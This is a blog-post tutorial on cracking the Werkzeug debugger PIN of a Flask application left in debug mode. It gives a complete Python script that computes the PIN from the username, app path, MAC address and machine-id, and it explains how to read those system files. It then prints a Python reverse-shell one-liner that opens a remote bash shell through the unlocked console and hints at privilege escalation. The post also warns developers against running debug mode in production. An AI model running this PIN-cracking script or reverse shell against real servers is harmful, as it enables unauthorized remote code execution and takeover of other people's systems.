Hacking the Debugging Pin of a Flask Application

Akash Poudel
5 min readSep 8, 2022

Hola, Hackers and Developers!
In this article, I am going to show you why leaving keeping Debug Mode on for a Flask Production Server is a horrible idea and how it can be hacked :)

If you’ve ever written a web application in Flask, you must probably know what a debugger mode is. The debugger can do a lot of things; it tells us exactly where the error is in our code, which will help us fix the problem after a bit of re-writing and a bit of Stack-Overflowing.

Typically, an error looks like this in your Application if you have debugger mode active.

This is not a problem, but the debugger also offers a console http://flask_app/consolefor your flask application. So, the console is a place that allows some arbitrary python code execution in the browser itself.
I quote straight from the Flask documentation:

Do not run the development server, or enable the built-in debugger, in a production environment. The debugger allows executing arbitrary Python code from the browser. It’s protected by a pin, but that should not be relied on for security.”

I have both good news and bad news. The good news is the console is protected by a pin, which is only viewable by the developer who runs the flask app.

We can see here that this is a sample Flask app of mine with Debug mode: on
Only I can see the Debugger Pin for now. If I open the console in my browser, I cannot access it, it is locked.

Locked Debugger Console.

But the bad news is that this debugging pin can be hacked.[but has some conditions!]
Let me show you how.
If we pull the source code for the werkzeug server,
https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py
Inside debug/__init__.py

# This information only exists to make the cookie unique on the    # computer, not as a security feature.  
probably_public_bits = [
username,
modname,
getattr(app, "__name__",type(app).__name__), getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id()
]

This shows us that the debugging pin is generated based on the following things:

  1. username of who started the flask app, [which can be figured out from the errors if we have debug mode on]
  2. modname of the Flask.app[it is always flask.app ]
  3. getattr(app, '__name__', getattr (app .__ class__, '__name__')) is ‘Flask
  4. the getattr(mod, '__file__', None) is the absolute path app.py in the flask directory. [it can be figured out from the error logs as well]

These are the public values that can be found in the error logs displayed in your web application.
What about private values? Yes, the private values are unique to a particular server and can never be guessed/brute-forced by the hacker.

Let us discuss what these private values are specifically unique to a particular server.

  1. uuid.getnode() is the MAC address of the current computer, str (uuid.getnode ()) is the decimal expression of the mac address.
  2. get_machine_id() is the value stored in /etc/machine-id or /proc/sys/kernel/random_boot_id

Alright, how do we find these values?
Let us consider your Web Application vulnerable to some code execution vulnerability to extract these variables.[but not impactful enough to get a reverse shell?]. There are many ways to extract these, but we will not discuss them here.

So, let us find out these two pieces of information!

  1. To get the MAC address, find out the /proc/net/arp device id and find the mac address by typing the /sys/class/net/<device-id>/address. Example: /sys/class/net/eno1/address.
MAC Address Blurred for a Reson!

After getting the MAC address, the next thing would be to get the decimal value of this hex value. We can do this in python by adding a 0x in front of the hex value and removing all the colons.
Example:

2. The next thing is getting the machine-id. We can simply do this by

Now, we have everything we need to crack the debugger pin :)

This is a sample script to crack the debugging pin once we have all the values!

import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# the value from /sys/class/net/<device-id>/address
'd4e6cb65d59544f3331ea0425dc555a1'# value from /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

[This is not my script! Kudos to Daehee for the script :)]

After this runs fine, we get out the debugger pin just like this!

If you remember, this is what the debugger showed at the beginning.

How to get a reverse shell from here?

If I go to revshells.com and pick any python shell and execute it in the console, we can easily get a reverse shell from there.

import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",13337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")

Boom! We have successfully gotten a reverse shell to the machine!

Now we can do a lot of things from here!
We can escalate the privilege to get a root ;)
I will try to write next on how to get root access from here!
Until then, stay tuned.

References:
1.https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
2. https://abdilahrf.github.io/ctf/writeup-nahamcon-21-web-challs

If you liked this article, please hit me a follow! ❤
Adios!

Follow me on My Socials!
Twitter: https://twitter.com/akashp011
LinkedIn: https://linkedin.com/in/akashp011

--

--